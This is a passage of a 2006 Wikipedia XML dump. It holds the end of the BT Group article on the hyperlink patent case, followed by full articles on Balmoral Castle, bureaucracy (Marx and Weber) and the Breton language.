Opponents of BT's claim held that the patent had never been valid, due to prior art by both [[Douglas Engelbart]] and [[Ted Nelson]]'s [[Project Xanadu]]. Nevertheless on [[February 11]], [[2002]], BT began a court case relating to its claims in a US federal court against the [[Internet service provider]] [[Prodigy (ISP)|Prodigy Communications Corporation]]. The U.S. court ruled on [[August 22]], [[2002]] that the BT patent was not applicable to Web technology, and granted Prodigy's request for summary judgement. [http://www.nswscl.org.au/journal/51/Glen_Sauer.html See BT&amp;#8217;s &amp;#8220;Hyperlinking&amp;#8221; Patent Litigation Fails] The issue of prior art was thus not addressed.

== See also ==

* [[BT Ireland]]
* [[Telecomsoft]]
* [[Prestel]]
* [[O2 plc]]
* [[BT Archives]]

==External links==
* [http://www.groupbt.com/ BT Group Home page]
** [http://www.bt.com/ BT Home page]
*** [http://www.bt.com/at_home.jsp BT At home]
*** [http://www.bt.com/broadband/bb_info.jsp?showsub=internet_at_home&amp;showsub3=I@H_Broadband&amp;obsType=LINK&amp;obsOID=80830&amp;vStore=1120&amp;obsPage=/athome/at_home_2level.jsp&amp;obsNoSee=Y BT Broadband]
*** [http://www.bt.com/in_business.jsp BT Business]
*** [http://www.businessshop.bt.com BT Business Store]
*** [http://www.bt.com/cs BT Convergent Solutions]
*** [http://www.bt.com/mobile BT Mobile]
*** [http://www.bt.com/btfusion BT Fusion]
*** [http://www.bt.com/broadband BT Wholesale Broadband]
*** [http://www.bt.com/shop BT Shop]
*** [http://www.btplc.com/Thegroup/BTsHistory/BTgrouparchives/index.htm Archive for BT and its predecessors]
** [http://www.openreach.co.uk/ Openreach home page]
===Data===
*[http://biz.yahoo.com/ic/41/41763.html Yahoo! - BT Group plc Company Profile]
===Other===
* [http://www.btplc.com/Thegroup/BTsHistory/Eventsintelecommunicationshistory/Eventsintelecommunicationshistory.htm BT's 'Events in Telecommunications History' webpage] 
* [http://www.connected-earth.com/Journeys/Prideofownership/TheForceofPublicOpinion/Thetelephonedilemma/NationalTelephoneCompany/NTC-NationalTelephoneCompany-1881.htm National Telephone Company history]
* [http://news.bbc.co.uk/hi/english/sci/tech/newsid_798000/798475.stm BBC news story on BT's claimed 'web patent']
* [http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PALL&amp;p=1&amp;u=/netahtml/srchnum.htm&amp;r=1&amp;f=G&amp;l=50&amp;s1=%274873662%27.WKU.&amp;OS=PN/4873662&amp;RS=PN/4873662 BT's patent text at USPTO]
* [http://www.nysd.uscourts.gov/courtweb/pdf/D02NYSC/02-07733.PDF Patent case court judgement against BT]
* [http://www.zyra.org.uk/phone.htm A few things you should know about the Phone]

[[Category:Telecommunication companies of the United Kingdom]]
[[Category:Telecommunications companies]]
[[Category:Internet service providers]]
[[Category: Internet service providers UK]]
[[Category:Companies listed on the London Stock Exchange]]

[[de:British Telecom]]
[[fr:BT (opérateur télécom)]]
[[nl:BT]]
[[ru:Бритиш Телеком]]
[[sv:BT Group]]</text>
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  <page>
    <title>Balmoral Castle</title>
    <id>4644</id>
    <revision>
      <id>42103920</id>
      <timestamp>2006-03-03T21:24:52Z</timestamp>
      <contributor>
        <username>GilliamJF</username>
        <id>506179</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Balmoral Castle - Project Gutenberg 13103.jpg|thumbnail|right|250px|'''Balmoral Castle''']] 
[[Image:balmoral_by_queen.JPG|frame|right|Balmoral Castle, painted by [[Victoria of the United Kingdom|Queen Victoria]] in 1854 during its construction]]
'''Balmoral Castle''' is a large mansion situated in the area of [[Aberdeenshire]], [[Scotland]] known as [[Royal Deeside]]. The estate was purchased by [[Victoria of the United Kingdom|Queen Victoria]]'s husband [[Prince Albert of Saxe-Coburg and Gotha|Prince Albert]], and remains a favourite summer [[royal residence]]. 

==Early history==
The Balmoral Estate began as a home built by [[Sir]] [[William Drummond]] in 1390. The estate was formerly owned by [[Robert II of Scotland|King Robert II]], who had a hunting lodge in the area. After Drummond, the estate was sold to [[Alexander Gordon]], the son of the 2nd [[Earl of Huntly]], in the 15th century. The estate remained in the family's hands until it was sold in 1662, to Farquarson's of Invery. 

The family were given the title &quot;Earl of Balmoral&quot; and it remained until the sale of the estate in 1798 to the 2nd [[Earl of Fife]]. The estate formed part of the [[coronation]] activities of [[George IV of the United Kingdom|King George IV]] in 1822.

==Royal residence==
Balmoral is today best known as a Royal Residence, the [[summer]] retreat of [[Her Majesty]] [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] and [[His Royal Highness]] the [[Duke of Edinburgh]]. The history as a Royal Residence dates back to 1848, when the house was [[rented]] to both the [[Queen regnant|Queen]] and the [[Prince Consort]] by the then [[Duke of Fife]]. They very much enjoyed their stay in the house, and they paid just over £30,000 for the full ownership of the house. The [[Prince Consort]] immediately started making plans to extend the existing [[fifteenth century]] castle, and make a 'new' and bigger castle fit for a Queen. 

New evidence shows that the funding for Balmoral came chiefly from an eccentric poet, [[prison reform|prison reformer]] and [[jeweller]] named [[John Camden Nield]]. He left the Queen £500,000 in his will, which was a great help to the Royal Family's building ambitions.

In 1856 the building was completed, it now being a full and working estate with around 100 buildings surrounding the castle itself. 

Today, the Balmoral Estate is still a working order, occupying over 200 km² of land. The Royal Family employs around 50 full-time and 50-100 part-time staff to maintain the estate and look after the animals etc. The part-time staff are used particularly when the Queen makes her annual visit.

There has been some speculation that Balmoral Castle may have been earmarked as a royal refuge in the event of nuclear war. In the 1960s war plans apparently envisaged evacuating the [[Sovereign]] to the [[Royal Yacht]] [[HMY Britannia|Britannia]], but this might not have been practical, and a land-based refuge would have been desirable. It would appear that, contrary to persistent rumour, there were no plans for the Sovereign to join the [[Prime Minister of the United Kingdom|Prime Minister]] at the [[Corsham]] bunker complex known variously as [[Hawthorn, Wiltshire|Hawthorn]], Subtefuge, Site 3, Burlington or Turnstile. [[Buckingham Palace]] and [[Windsor Castle]] would both have been too vulnerable; the former as being in the heart of [[London]] - major target in its own right - and Windsor because of its proximity to [[Heathrow Airport]].

==See also==
*[[Crathie Kirk]]
*[[Castles in Scotland]]
''Other British royal residences:''
*[[Buckingham Palace]], [[London]]
*[[Palace of Holyroodhouse]], [[Edinburgh]]
*[[Windsor Castle]]
*[[Sandringham House]], [[Norfolk]]

==External links==
{{commonscat}}
*[http://www.balmoralcastle.com/ Official site]
*[http://gouk.about.com/library/weekly/aa061002a.htm Balmoral Castle] on About.com
{{Royal Palaces UK}}

[[Category:Aberdeenshire]]
[[Category:Castles in Scotland]]
[[Category:Royal residences in the United Kingdom]]

[[de:Balmoral Castle]]
[[he:טירת בלמורל]]
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[[sv:Balmoral Castle]]</text>
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  <page>
    <title>Bureaucracy</title>
    <id>4645</id>
    <revision>
      <id>42024874</id>
      <timestamp>2006-03-03T07:53:22Z</timestamp>
      <contributor>
        <username>*drew</username>
        <id>91902</id>
      </contributor>
      <minor />
      <comment>+id:</comment>
      <text xml:space="preserve">: ''This page is about the sociological concept. [[Bureaucracy (computer game)|Bureaucracy]] is also the name of a computer game.''

'''Bureaucracy ''' is a concept in [[sociology]] and [[political science]]. It refers to the way that the administrative execution and enforcement of legal rules is socially organized. This office organization is characterized by [[Standard Operating Procedures|standardized procedure]], formal [[division of responsibility]], [[hierarchy]], and impersonal [[social relation|relationships]].

Examples of everyday bureaucracies include [[government]]s, [[armed force]]s, [[corporation]]s, [[hospital]]s, [[court]]s, [[Ministry (government department)|ministries]] and [[school]]s. 

==Origin of the concept==

Bureaucracy is derived from the word bureau, used from the early [[18th century]] in Western Europe not just to refer to a writing desk, but to an office, i.e. a workplace, where officials worked. The original [[French language|French]] meaning of the word ''bureau'' was the baize used to cover desks. The term bureaucracy came into use shortly before the [[French Revolution]] of 1789, and from there rapidly spread to other countries. The [[Greek language|Greek]] suffix -''kratia'' or ''kratos'' - means &quot;power&quot; or &quot;rule&quot;. Bureaucracy thus basically means office power or office rule, the rule of the officialdom.

In a letter of July 1, 1764, the French [[Friedrich Melchior, baron von Grimm|Baron de Grimm]] declared: &quot;We are obsessed by the idea of regulation, and our Masters of Requests refuse to understand that there is an infinity of things in a great state with which a government should not concern itself.&quot; [[Jean Claude Marie Vincent de Gournay]] sometimes used to say, &quot;We have an illness in France which bids fair to play havoc with us; this illness is called ''bureaumania''.&quot; Sometimes he used to invent a fourth or fifth form of government under the heading of &quot;bureaucracy&quot;. In another letter of July 15, 1765 Baron Grimm wrote also, &quot;The real spirit of the laws in France is that bureaucracy of which the late Monsieur de Gournay used to complain so greatly; here the offices, clerks, secretaries, inspectors and ''intendants'' are not appointed to benefit the public interest, indeed the public interest appears to have been established so that offices might exist.&quot; (Baron de Grimm and [[Diderot]], ''Correspondance littéraire, philosophique et critique, 1753-69'', 1813 edition, Vol. 4, p. 146 &amp; 508 - cited by Martin Albrow, ''Bureaucracy''. London: Pall Mall Press, 1970, p. 16).

This quote refers to a traditional controversy about bureaucracy, namely the perversion of means and ends so that means become ends in themselves, and the greater good is lost sight of; as a corollary, the substitution of ''sectional'' interests for the ''general'' interest. The suggestion here is that, left uncontrolled, the bureauracy will become increasingly self-serving and [[corrupt]], rather than serving society.

However, bureaucracy existed long before words and theories were devised to describe it in detail. The Chinese [[Song dynasty]] (960 AD) for example constructed a centralized bureaucracy staffed with civilian scholar-officials. This system of rule led to a much greater concentration of power in the hands of the emperor and his palace bureaucracy than was achieved in previous dynasties.

==Karl Marx and bureaucracy==

In [[Karl Marx]]'s theory of [[historical materialism]], the historical origin of bureaucracy is to be found in ''four'' sources: religion, the formation of the state, commerce and technology. 

Thus, the earliest bureaucracies consisted of castes of ''religious'' clergy, officials and scribes operating various rituals, and armed functionaries specifically delegated to keep order. In the historical transition from primitive egalitarian communities to a civil society divided into social classes and estates, occurring about 10,000 years ago, authority is increasingly centralised in, and enforced by a state apparatus existing separately from society. This state formulates, imposes and enforces laws, and levies taxes, giving rise to an officialdom enacting these functions. Most importantly, the right of ordinary people to carry and use weapons of force becomes increasingly restricted; forcing other people to do things becomes increasingly the right of the state authorities only. 

But the growth of trade and commerce adds a new, distinctive dimension to bureaucracy, insofar as it requires the keeping of accounts and the processing/recording of transactions, as well as the enforcement of legal rules governing trade. If resources are increasingly distributed by [[prices]] in markets, this requires extensive and complex systems of record-keeping, management and calculation, conforming to legal standards.  Eventually, this means that the total amount of work involved in commercial administration outgrows the total amount of work involved in government administration. In modern capitalist society, private sector bureaucracy is ''larger'' than government bureaucracy, if measured by the number of administrative workers in the [[division of labour]] as a whole. Some corporations nowadays have a turnover larger than the national income of whole countries, with large administrations supervising operations.

A fourth source of bureaucracy inheres in the technologies of mass production, which require many standardised routines and procedures to be performed. Even if mechanisation replaces people with machinery, people are still necessary to design, control, supervise and operate the machinery. The technologies chosen may not be the ones that are best for everybody, but which create ''incomes'' for a particular class of people or maintain their power. This type of bureaucracy is nowadays often called a [[technocracy]], which owes its power to control over specialised technical knowledge.

In Marx's theory, bureaucracy rarely creates new wealth by itself, but rather controls, co-ordinates and governs the production, distribution and consumption of wealth. The bureaucracy as a social stratum derives its income from the appropriation of part of the social [[surplus product]] of human labour. Wealth is appropriated by the bureaucracy by law through fees, taxes, levies, tributes, licensing etc. 

Bureaucracy is therefore always a ''cost'' to society, but this cost may be accepted insofar as it makes [[social order]] possible, and maintains it. Nevertheless there are constant conflicts about this cost, because it has the big effect on the distribution of incomes; all producers will try to get the maximum return from what they produce, and minimise administrative costs. Typically, in epochs of strong economic growth, bureaucracies proliferate; when economic growth declines, a fight breaks out to cut back bureaucratic costs.

Whether or not a bureaucracy as a social stratum can become a genuine [[ruling class]] depends greatly on the prevailing [[property]] relations and the [[mode of production]] of wealth. In capitalist society, the state typically lacks an independent economic base, finances many activities on credit, and is heavily dependent on levying taxes as a source of income. Therefore, its power is limited by the costs which private owners of the productive assets will tolerate. If, however, the state owns the [[means of production]] itself, the state bureaucracy can become much more powerful, and act as a ruling class or power elite. Because in that case, it directly controls the sources of new wealth, and manages or distributes the social product. This is the subject of Marxist theories of [[bureaucratic collectivism]].

Marx himself however never theorised this possibility in detail, and it has been the subject of much controversy among Marxists. The core organisational issue in these disputes concerns the degree to which the ''administrative'' allocation of resources by government authorities and the ''market'' allocation of resources can achieve the social goal of creating a more free, just and prosperous society. Which decisions should be made by whom, at what level, so that an optimal allocation of resources results? This is just as much a moral-political issue as an economic issue.

Central to the Marxian concept of [[socialism]] is the idea of workers' self-management, which assumes the internalisation of a [[morality]] and self-discipline among people that would make bureaucratic supervision and control redundant, together with a drastic reorganisation of the [[division of labour]] in society. Bureaucracies emerge to mediate conflicts of interest on the basis of laws, but if those conflicts of interest disappear, bureaucracies would also be redundant.

Marx's critics are however skeptical of the feasibility of this kind of socialism, given the continuing need for administration, and the propensity of people to put their own self-interest before the communal interest. That is, the argument is that self-interest and the communal interest might ''never'' coincide, or, at any rate, can always diverge significantly. 

==Max Weber on bureaucracy==

[[Max Weber]] has probably been one of the most influential users of the word in its [[social science]] sense. He is well-known for his study of bureaucratization of society; many aspects of modern [[public administration]] go back to him; a classic, hierarchically organized [[civil service]] of the [[continental]] type is&amp;mdash;if basically mistakenly&amp;mdash;called ''&quot;Weberian civil service&quot;''.

However, contrary to popular belief, &quot;bureaucracy&quot; was an [[English language|English]] word before Weber; the [[Oxford English Dictionary]] cites usage in several different years between [[1818]] and [[1860]], prior to Weber's birth in [[1864]].

Weber described the '''[[ideal type]]''' bureaucracy in positive terms, considering it to be a more rational and efficient form of organization than the alternatives that preceded it, which he characterized as ''[[charismatic domination]]'' and ''[[traditional domination]]''. According to his terminology, bureaucracy is part of [[legal domination]]. However, he also emphasized that bureaucracy becomes inefficient when a decision must be adopted to an individual case. 

According to Weber, the attributes of modern bureaucracy include its impersonality, concentration of the means of administration, a leveling effect on social and economic differences and implementation of a system of authority that is practically indestructible.

Weber's analysis of bureaucracy concerns:
* the historical and administrative reasons for the process of bureaucratization (especially in the [[Western civilisation]])
* the impact of the [[rule of law]] upon the functioning of bureaucratic organisations
* the typical [[personal orientation]] and [[occupational position]] of a bureaucratic officials as a [[status group]]
* the most important attributes and consequences of bureaucracy in the modern world

A bureaucratic organization is governed by the following seven principles:
# official business is conducted on a continuous basis
# official business is conducted with strict accordance to the following rules:
## the duty of each official to do certain types of work is delimited in terms of impersonal criteria
## the official is given the authority necessary to carry out his assigned functions
## the means of coercion at his disposal are strictly limited and conditions of their use strictly defined
# every official's responsibilities and authority are part of a vertical hierarchy of authority, with respective rights of supervision and appeal
# officials do not own the resources necessary for the performance of their assigned functions but are accountable for their use of these resources
# official and private business and income are strictly separated
# offices cannot be appropriated by their incumbents (inherited, sold, etc.)
# official business is conducted on the basis of written documents

A bureaucratic official:
* is personally free and appointed to his position on the basis of conduct
* exercises the authority delegated to him in accordance with impersonal rules, and his loyalty is enlisted on behalf of the faithful execution of his official duties
* appointment and job placement are dependent upon his technical qualifications
* administrative work is a full-time occupation
* work is rewarded by a regular salary and prospects of advancement in a lifetime career

An official must exercise his judgment and his skills, but his duty is to place these at the service of a higher authority; ultimately he is responsible only for the impartial execution of assigned tasks and must sacrifice his personal judgment if it runs counter to his official duties.

==Criticism==

As Max Weber himself noted, in reality no ideal type organisation can exist. Thus the real bureaucracy will be less optimal and effective than his ideal model. Each of Weber's seven principles can degenerate:
* Vertical hierarchy of authority can became chaotic, some offices can be omitted in the decision making process, there may be conflicts of competence;
* Competences can be unclear and used contrary to the spirit of the law; sometimes a decision itself may be considered more important than its effect;
* [[Nepotism]], [[political corruption|corruption]], political infighting and other degenerations can counter the rule of impersonality and can create a recrutation and promotion system not based on [[meritocracy]] but rather on [[oligarchy]];
* Officials can try to avoid responsibility and seek anonymity by avoiding documentation of their procedures (or creating extreme amounts of chaotic, confusing documents)

Even a non-degenerated bureaucracy can be affected by common problems:
* Overspecialisation, making individual officials not aware of larger consequences of their actions
* Rigidity and inertia of procedures, making decision-making slow or even impossible when facing some unusual case, and similarly delaying change, evolution and adaptation of old procedures to new circumstances;
* A phenomenon of ''group thinking'' - zealotry, loyalty and lack of critical thinking regarding the organisation which is ''perfect'' and ''always correct'' by definition, making the organisation unable to change and realise its own mistakes and limitations;
* A phenomenon of ''[[Catch-22]]'' (named after a famous book) - as bureaucracy creates more and more rules and procedures, their complexity raises and coordination diminishes, facilitating creation of contradictory rules

In the most extreme examples, bureaucracy can lead to the treatment of individual human beings as impersonal objects. This process has been criticised by many philosophers and writers ([[Aldous Huxley]], [[George Orwell]], and [[Hannah Arendt]]).

==See also==
*[[Parkinson's law]]
*[[Peter principle]]
*[[Red tape]]
*''[[Yes, Minister]]''
*''[[Sonatine Bureaucratique]]''

[[Category:Max Weber]]
[[Category:Organizational studies and human resource management]]

[[da:Bureaukrati]]
[[de:Bürokratie]]
[[es:Burocracia]]
[[fr:Bureaucratie]]
[[gl:Burocracia]]
[[he:ביורוקרטיה]]
[[id:Birokrasi]]
[[lt:Biurokratija]]
[[nl:Bureaucratie]]
[[ja:官僚制]]
[[pl:Biurokracja]]
[[pt:Burocracia]]
[[ru:Бюрократия]]
[[fi:Byrokratia]]
[[sv:Byråkrati]]
[[zh:科层制]]</text>
    </revision>
  </page>
  <page>
    <title>Blueshift</title>
    <id>4646</id>
    <revision>
      <id>15902906</id>
      <timestamp>2004-07-17T12:03:42Z</timestamp>
      <contributor>
        <username>Deltaecho</username>
        <id>85438</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Blue shift]]</comment>
      <text xml:space="preserve">#REDIRECT [[Blue shift]]</text>
    </revision>
  </page>
  <page>
    <title>Breton language</title>
    <id>4647</id>
    <revision>
      <id>41733074</id>
      <timestamp>2006-03-01T10:25:01Z</timestamp>
      <contributor>
        <username>Babajobu</username>
        <id>125012</id>
      </contributor>
      <minor />
      <comment>rmv blank lines, alphabetize interwikis and cats using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Breton
|nativename=Brezhoneg
|pronunciation=/bɾɛˈzõ.nɛk/
|states=[[France]]
|region=[[Brittany]]
|speakers=300,000
|familycolor=Indo-European
|fam2=[[Celtic languages|Celtic]]
|fam3=[[Insular Celtic languages|Insular Celtic]]
|fam4=[[Brythonic languages|Brythonic]]
|iso1=br|iso2=bre|iso3=bre}}

'''Breton''' (Breton: ''Brezhoneg'') is a [[Celtic languages|Celtic language]] spoken by some of the inhabitants of [[Brittany]] (''Breizh'') and [[Loire-Atlantique]] (historically part of Brittany) in [[France]].

== History==
Breton is not thought to be a descendant of any of the [[Continental Celtic languages]] such as [[Gaulish language|Gaulish]] (though it may have borrowed some features from it); rather, it is descended from the [[Brythonic languages|Brythonic]] branch of [[Insular Celtic languages]] brought by [[Romano-British]] settlers to [[Brittany]] after the [[Roman departure from Britain]] in the early [[5th century]].  The modern-day language most closely related to Breton is [[Cornish language|Cornish]], followed by [[Welsh language|Welsh]].  (The other [[regional language]] of Brittany, [[Gallo language|Gallo]], is an [[Langue d'oïl|Oïl language]] derived from [[Latin]]).

Breton is traditionally spoken in Lower Brittany, roughly to the west of a line linking [[Plouha]] and [[Vannes]].   It comes from a language community between [[Britain]] and [[Armorica]] (present-day Brittany).  It was the language of the elite until the [[12th century]].  However, afterwards it was only the language of the people of West Brittany (''Breizh Izel''), and the nobility, then successively the bourgeoisie adopted [[French language|French]].  As a written language, the [[Duchy of Brittany]] used [[Latin]], switching to French in the [[15th Century]]. There exists a limited tradition of [[Breton literature]]. Old Breton has left some vocabulary which has served in the present day to produce [[philosophical]] and scientific terms in Modern Breton.

The French Monarchy never really concerned itself with the minority [[languages of France]].  The [[French revolution|revolutionary period]] really started policies favouring French over the &quot;regional&quot; languages, more pejoratively called ''[[patois]]''. It was assumed that [[reactionary]] and [[monarchy|monarchist]] forces preferred regional languages in an attempt to keep the peasant masses under-informed.  According to the defenders of the Breton language, humiliating practices geared towards stamping out Breton lingered in schools and churches until the [[1960s]].

Today, despite the political centralization of France and the important influence of the media, Breton is still spoken and understood by about 500,000 people.  This is, however, down from 1.3 million in [[1930]].  At the beginning of the [[20th century]], half the population of Lower Brittany knew only Breton, the other half being bilingual.  By 1950, there were only 100,000 monolingual Bretons.

In [[1925]], thanks to Professor [[Roparz Hemon]], the first issue appeared of the review ''Gwalarn''. During its 19-year run, ''Gwalarn'' tried to raise the language to the level of other great &quot;international&quot; languages by creating original works covering all genres and by proposing Breton translations of internationally-recognized foreign works.

In [[1946]], ''[[Al Liamm]]'' replaced ''[[Gwalarn]]''. Other periodicals appeared and began to give Breton a fairly large body of literature for a minority language.

[[Image:Breton school sign in Rennes.jpg|thumb|Sign in Rennes outside a school with bilingual classes]]

In [[1977]], [[Diwan schools]] were founded to teach Breton by immersion.  They taught thousands of young people from elementary school to high school.  Another proposed teaching method was a bilingual approach, ''Div Yezh'' (two languages).

In [[2004]], the [[Asterix]] comic series were translated into Breton and Gallo. This is notable because, according to the comic, the village where Asterix lives is in Brittany.

Some poets, linguists, and writers who wrote in Breton, for example [[Yann-Ber Kalloc'h]], [[Roparz Hemon]], [[Anjela Duval]] and [[Per-Jakez Hélias]], are now known internationally.

Today, Breton is the only living [[Celtic language]] which is not recognized as an official language.  The French state has refused to change the second article of the [[French Fifth Republic|Constitution]] (added in [[1994]]), which states that &quot;the language of the Republic is French&quot;. The number of protesters demanding the repeal of this article is growing year by year. {{fact}}

The first Breton dictionary, the ''Catholicon'', was also the first French dictionary. Edited by [[Jehan Lagadec]] in [[1464]], it was a trilingual work containing Breton, French and Latin. Today the existence of bilingual dictionaries directly from Breton into languages such as English, German and Spanish demonstrates the determination of a new generation to gain international recognition for Breton. There also exists a monolingual dictionary, defining Breton words in Breton.

==Geographic distribution==
[[Image:Gallo and Breton.gif|right]]
Breton is spoken mainly in Western Brittany, but also in a more dispersed way in Eastern Brittany, and in areas around the world which have received Breton emigrants.

==Official status==
Breton is not an official language of France, despite pleas from autonomists and others for official recognition and for the language to be guaranteed a place in schools, the media, and other aspects of public life.

An attempt by the French government to incorporate the independent Breton-language immersion schools (called ''Diwan'') into the state education system was blocked by the French [[Constitutional Council of France|Constitutional Council]] on the grounds that, as the Constitution of the 5th Republic states that French is the language of the Republic, no other language may be used as a language of instruction in state schools. The [[Toubon Law]] states that French is the language of public education.

[[Image:Breizh-sign.jpg|thumb|Bilingual place names in road signage in Brittany]]
Nevertheless, the regional and departmental authorities do use Breton to a very limited extent insofar as they feel able, for example in signage. Some bilingual signage may also be seen, such as [[street name]] signs in Breton towns, and one station of the [[Rennes Metro|Rennes metro system]] has signs in both French and Breton. On the other hand, few shops or other private entities in Rennes have any Breton-language signs.

==Dialects==
The dialects of Breton as identified by [[ethnologists]] are Leonard, [[Trégorrois Breton|Tregorrois]], Vannetais and Cornouaillais. There are no clear borders between those dialect areas; the language changes slightly from one village to the next.

==Sounds==
&lt;!-- Description of the sound set of the language. Can include phoneme charts and example words for each phoneme like in [[French language]]. If there is significant discussion here, it is probably best to divide the section into vowels and consonants subsections. --&gt;

==Grammar==
&lt;!-- Description of the grammar of the language. --&gt;
===Verbal aspect===
As in [[English language|English]] and [[Irish language|Irish]], there are [[grammatical aspect]]s for verbs in a particular tense, detailing whether or not an action is habitual.  As in English, there is a distinction between the habitual form and [[Progressive tense|progressive]] aspect:

* Me '''zo o komz''' gant ma amezeg (&quot;I '''am talking''' with my neighbour&quot;) ;
* Me '''a gomz''' gant ma amezeg [bep mintin] (&quot;I talk with my neighbour [every morning]&quot;) ;

===&quot;Conjugated&quot; Prepositions===
As in other modern [[Celtic languages]], Breton pronouns are fused into preceding prepositions to produce a sort of &quot;conjugated&quot; preposition.  Below are some examples in Breton, [[Welsh language|Welsh]], and [[Irish language|Irish]]. Interestingly, French exhibits a similar construction to indicate possession: ''Le livre, c'est '''à moi''''' (&quot;The book is mine&quot;); ''à moi'', literally, &quot;to me&quot;.

{| class=&quot;wikitable&quot;
|-
!Breton
!Welsh
!Irish
!Scottish Gaelic
!English
!Literal Translation
|-
|ul levr zo '''ganin'''
|mae '''gen i''' lyfr
|tá leabhar '''agam'''
|tha leabhar '''agam'''
|I have a book
|A book is '''with-me'''
|-
|ur banne zo '''ganit'''
|mae '''gennet ti''' ddiod
|tá deoch '''agat'''
|tha deoch '''agad'''
|you have a drink
|a drink is '''with-you''' [sg]
|-
|un urzhiataer zo '''gantañ'''
|mae '''ganddo fe''' gyfrifiadur   
|tá ríomhaire '''aige'''
|tha rìomhaire '''aige'''
|he has a computer
|a computer is '''with-him'''
|-
|ur bugel zo '''ganti'''
|mae '''ganddi hi''' plentyn
|tá páiste '''aici'''
|tha pàisde '''aice'''
|she has a child
|a child is '''with-her'''
|-
|ur c'harr zo '''ganimp'''
|mae '''ganddon ni''' gar 
|tá carr '''againn'''
|tha càr '''againn'''
|we have a car
|a car is '''with-us'''
|-
|un ti zo '''ganeoc'h'''
|mae '''ganddoch chi''' dŷ
|tá teach '''agaibh'''
|tha taigh '''agaibh'''
|you [pl] have a house   
|a house is '''with-you''' [pl]  
|-
|arc'hant zo '''ganto'''
|mae '''ganddyn nhw''' arian 
|tá airgead '''acu'''
|tha airgead '''aca'''
|they have money
|money is '''with-them'''
|}

=== Initial consonant mutations ===
Breton has four initial [[consonant mutation]]s: though modern Breton lost the nasal mutation of [[Welsh language|Welsh]], it also has a 'hard' mutation, in which voiced stops become voiceless, and a 'mixed' mutation, which is a mixture of hard and soft mutations.

{| class=&quot;wikitable&quot;
|+ Consonant Mutation in Breton
! Unmutated Consonant !! Soft Mutation !! Aspirant Mutation !! Hard Mutation !! Mixed Mutation
|-
|p||b||f||||
|-
|t||d||z||||
|-
|k||g||c'h||||
|-
|b||v||||p||v
|-
|d||z||||t||t
|-
|g||c'h||||k||c'h
|-
|gw||w||||kw||w
|-
|m||v||||||v
|}

==Vocabulary==
&lt;!-- This section should contain a discussion of any special features of the vocabulary (or lexicon) of the language, like if it contains a large number of borrowed words or a different set of words for different politeness levels, taboo groups, etc. --&gt;

&lt;!-- This paragraph underneath doesn't deal with Breton vocabulary but English vocabulary.  This paragraph belongs on a page about English borrowings, not on a page about the Breton language. --&gt;

The English words ''[[dolmen]]'' and ''[[menhir]]'' have been borrowed from French, which supposedly took them from Breton. However, this is uncertain: for instance, ''menhir'' is ''peulvan'', ''maen-hir'', ''maen-sav'' in Breton, and ''dolmen'' is a misconstructed word (it should be ''taol-vaen''). Some studies state that these words were borrowed from [[Cornish language|Cornish]].

==Orthography==
The first Breton texts, contained in the [[Leyde manuscript]], were written at the end of the [[8th century]]: fifty years prior to the [[Strasbourg Oaths]], considered to be the earliest example of [[French language|French]]. After centuries of orthography [[calque]]d on the French model, in the 1830s Le Gonidec created a modern phonetic system.

During the early years of the [[20th century]], a group of writers known as ''Emglev ar Skrivanerien'' elaborated and reformed Le Gonidec's system, making it more suitable as a super-dialectal representation of the dialects of [[Cornouaille]], [[Léon (diocese)|Leon]] and [[Trégor]]. This '''KLT''' (from ''Kernev, Leon'' and ''Treger'', the Breton names for Cornouaille, Leon and Trégor) orthography was established in [[1911]]. At the same time writers using the more divergent Vannetais dialect developed a system also based on that of Le Gonidec to represent their dialect. 

Following proposals made during the [[1920s]], the KLT and Vannetais orthographies were merged in [[1941]] to create an orthographic system which could represent all four dialects. One of the most salient features of this '''Peurunvan''' ''wholly unified'' orthography was the inclusion of the [[grapheme]] &lt;zh&gt;, which represents a /h/ in Vannetais which corresponds to a /z/ in the KLT dialects. This [[Digraph (orthography)|digraph]] also provides an alternate name for the orthography: '''Zedacheg''' i.e. ''ZH-ish''

In [[1955]] a new orthography was proposed by [[François Falc'hun]] and the group Emgleo Breiz, which had the aim of using a set of graphemes closer to the conventions of French. This ''Orthographie Universitaire'' (&quot;University Orthography&quot;, known in Breton as ''Skolveurieg'') was given official recognition by the French authorities as the &quot;official orthography of Breton in French education&quot;. This orthography was met with strong opposition and is largely only used by the magazine ''Brud Nevez'' and the publishing house Emgléo Breiz.

Between 1971 and 1974 has been fixed a new standard orthography. The ''etrerannyezhel'' or ''interdialectale''. This system is based on derivation of the words.

Today the majority of writers continue to use the Peurunvan orthography, including most Breton-language schools.

===Differences between OU and Peurunvan===
Both orthographies make use of the [[Latin alphabet]], with the supplemental signs ''â, ê, î, ñ, ô, û, ù, ü'', and ''é'' which is used only in OU.

Differences between the two systems are particularly noticeable in word endings. In Peurunvan final [[obstruent|obstruents]] which are devoiced in absolute final position and voiced in [[sandhi]] before voiced sounds are represented by a grapheme indicating a voiceless sound. In OU they are written as voiced but represented as voiceless before suffixes: '''braz''' ''big'', '''brasoh''' ''bigger''.

In addition, Peurunvan maintains the KLT convention which distinguishes noun/adjective pairs with nouns written with a final voiced consonant and adjectives with a voiceless one (there is, however, no distinction in pronunciation), e.g. '''brezhoneg''' ''Breton language'' vs. '''brezhonek''' ''Breton (adj)''

Some examples of words in both orthographies:

{|
| '''Etrerannyezhel (1975)''' || '''Peurunvan (1941)'''  ||  '''Skolveureg (1956)'''
|-
| ''glaw''|| ''glav''  ||  ''glao''
|-
| ''piw''|| ''piv''   ||  ''piou''
|-
| ''levr''|| ''levr''  ||  ''leor''
|-
| ''ewid''|| ''evit''  ||  ''evid''
|-
| ''gant''|| ''gant''  ||  ''gand''
|-
| ''anezhi''|| ''anezhi''  ||   ''anezi''
|-
| ''ouzhpenn''|| ''ouzhpenn''  ||   ''ouspenn''
|-
| ''brawañ''|| ''bravañ''  ||  ''brava''
|-
| ''pelec'h''|| ''pelec'h''  ||  ''peleh''
|}

==Examples==
[[Image:Road signs bilingual Breton in Quimper.jpg|thumb|Bilingual signage in [[Quimper]]. Note the use of the word ''ti'' in the Breton for ''police station'' and ''tourist office'', plus the variant ''da bep lec'h'' for ''all directions''.]]

&lt;!-- Some short examples of the language in the writing system(s) used to write the language. You might also include sound samples of the language being spoken. --&gt;

